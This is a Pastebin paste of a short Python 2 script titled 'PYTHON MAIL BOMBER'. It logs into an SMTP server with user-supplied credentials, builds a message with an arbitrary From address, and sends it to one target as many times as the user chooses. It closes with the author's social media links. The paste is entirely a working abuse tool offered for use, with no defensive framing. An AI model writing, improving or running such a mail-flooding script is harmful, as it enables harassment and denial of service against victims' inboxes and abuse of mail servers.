Advertisement
Guest User

Untitled

a guest
Nov 2nd, 2016
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.24 KB | None | 0 0
  1. import smtplib #for SMTP Protocol
  2. import mimetypes #converts URL
  3. import sys #for System
  4. import time #time
  5. from email.MIMEText import MIMEText
  6. class SMTP(object):
  7. def title(self):
  8. print " PYTHON MAIL BOMBER IS WORKING :) "
  9.  
  10. def SMTPconnect(self):
  11. print "We are in the SMTPconnect" #list of SMTP server - http://www.e-eeasy.com/SMTPServerList.aspx
  12. self.smtpserver=raw_input("\nEnter SMTP server: ")
  13. self.smtpport=input("Enter SMTP port (Usualy 25 or 465): ")
  14. try:
  15. self.mailServer = smtplib.SMTP(self.smtpserver,self.smtpport)
  16. except IOError, e:
  17. print 'Error: %s' %(e)
  18. time.sleep(5)
  19. sys.exit(1)
  20. self.mailServer.starttls()
  21. self.username=raw_input("\nEnter Username: ") #Username
  22. self.password=raw_input("Enter Password: ") #password
  23. try:
  24. self.mailServer.login(self.username,self.password)
  25. except BaseException, e:
  26. print 'Error: %s' % (e)
  27. time.sleep(3)
  28. sys.exit(1)
  29. def buildemail(self):
  30. print " We are inside Buildemail "
  31. print "\tBuilding message part"
  32. self.From = raw_input("\nFrom: ") # From
  33. self.To = raw_input("\nTo: ") # TO
  34. self.Subject = raw_input("\nSubject: ") #Subject
  35. self.Message = raw_input("\nMessage: ") #message
  36. mensaje = MIMEText(self.Message)
  37. mensaje['From']=self.From
  38. mensaje['To']=self.To
  39. mensaje['Subject']=self.Subject
  40. self.ammount = input("How Many times would you like to send email: ")
  41. x = 0
  42. while x < self.ammount:
  43. self.mailServer.sendmail(self.From, self.To, mensaje.as_string())
  44. x+=1
  45. print "Send %d messages to %s" %(self.ammount,self.To)
  46. time.sleep(7)
  47. print "Thnx for using Mycode!\nhttp://facebook.com/webmaster.pg\n"
  48. print " Subscribe :) www.youtube.com/priyankgada "
  49. if __name__ == '__main__':
  50. s = SMTP()
  51. s.title()
  52. s.SMTPconnect()
  53. s.buildemail()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement